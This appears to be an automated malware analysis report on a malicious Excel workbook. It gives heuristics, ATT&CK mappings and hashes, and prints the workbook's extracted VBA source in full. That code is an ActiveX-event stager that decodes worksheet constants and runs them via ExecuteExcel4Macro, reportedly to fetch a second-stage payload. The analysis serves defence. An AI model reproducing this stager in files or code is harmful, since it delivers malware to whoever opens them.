MALICIOUS
140
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1203 Exploitation for Client Execution
The critical heuristics indicate that VBA ActiveX events are used to launch decoded Excel 4.0 macros. The extracted VBA script contains a subroutine 'siri' that iterates through constants in the used range, decodes them, and then executes them using ExecuteExcel4Macro. This suggests the macro is designed to download and execute a second-stage payload, a common technique for initial payload delivery.
Heuristics 3
-
VBA project inside OOXML medium 2 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
VBA ActiveX event runs worksheet-decoded XLM formulas critical OLE_VBA_ACTIVEX_XLM_CELL_STAGERVBA code attached to an ActiveX/UserForm event reconstructs formula text from worksheet constants using Split/Replace/Mid or character shifting, then executes it through ExecuteExcel4Macro or Run. This is a high-confidence malware stager that hides XLM formula execution in sheet cells; it is not a document-parser CVE.
-
VBA ActiveX event launches decoded Excel4 macro critical OLE_VBA_ACTIVEX_XLM_STAGERThe compiled VBA p-code (identifier table) references an auto-firing ActiveX/control event together with ExecuteExcel4Macro, while the decompressed source does not — the VBA-stomping shape of the ActiveX-event XLM stager. The control event bridges into XLM formula execution to call Win32 / drop payloads, hidden from source-level scanners.
Extracted artifacts 3
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 1410 bytes |
SHA-256: f986a5dd8ae02252265a7f93bff7cd66e922ff07055ca6fcc0f8c9c99e6585b1 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "Questa_cartella_di_lavoro"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Foglio1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "dati, 7, 0, MSForms, Frame"
Sub datii()
Application.WindowState = xlMinimized
ActiveWorkbook.Close 0
End Sub
Sub siri()
Dim te As String
Application.WindowState = xlMinimized
For Each NU In ActiveSheet.UsedRange.SpecialCells(xlCellTypeConstants)
LL = NU.value
If IsNumeric(LL) = False Then
If Len(LL) = 10 Then g = LL
If Len(LL) > 10 Then gs = LL
If Len(LL) > 1 And Len(LL) < 10 Then Aq = Chr(Range(NU))
If Aq <> 8 Then
te = te + Aq: te = gogo(te)
Else
oll = Replace(te, "X", RTrim(g)): oll = Replace(oll, "Y", RTrim(gs))
te = "": ExecuteExcel4Macro (oll)
End If
End If
Next
End Sub
Private Sub dati_Layout()
siri
End Sub
Function gogo(df As String)
iu = ")))&"
a = Replace(df, "CLL", "CL")
gogo = Replace(a, iu, "))&")
End Function
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: xl/vbaProject.bin | 16384 bytes |
SHA-256: c2b89117e4f6bf48e20c4d2af9d26edfdad737411d453fbd62c7356be200ff5f |
|||
emf_00.emf |
ooxml-emf | OOXML EMF part: xl/media/image1.emf | 1976 bytes |
SHA-256: 76f287b1e3251b7e0e5ba27bfb05b35831150cc665de00f9fd2d807e2d2a028d |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.